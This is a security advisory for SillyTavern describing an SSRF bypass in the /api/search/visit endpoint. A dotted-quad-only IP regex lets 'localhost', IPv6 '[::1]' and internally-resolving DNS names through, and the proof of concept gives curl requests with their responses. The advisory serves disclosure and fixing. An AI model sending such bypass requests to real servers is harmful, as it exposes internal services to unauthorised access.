SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

Details

Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:

• localhost (hostname, not dotted-quad)
• [::1] (IPv6 loopback)
• DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)

A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

PoC

1. Start SillyTavern v1.16.0 normally
2. Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):

# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)

# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)

The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

Impact

Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation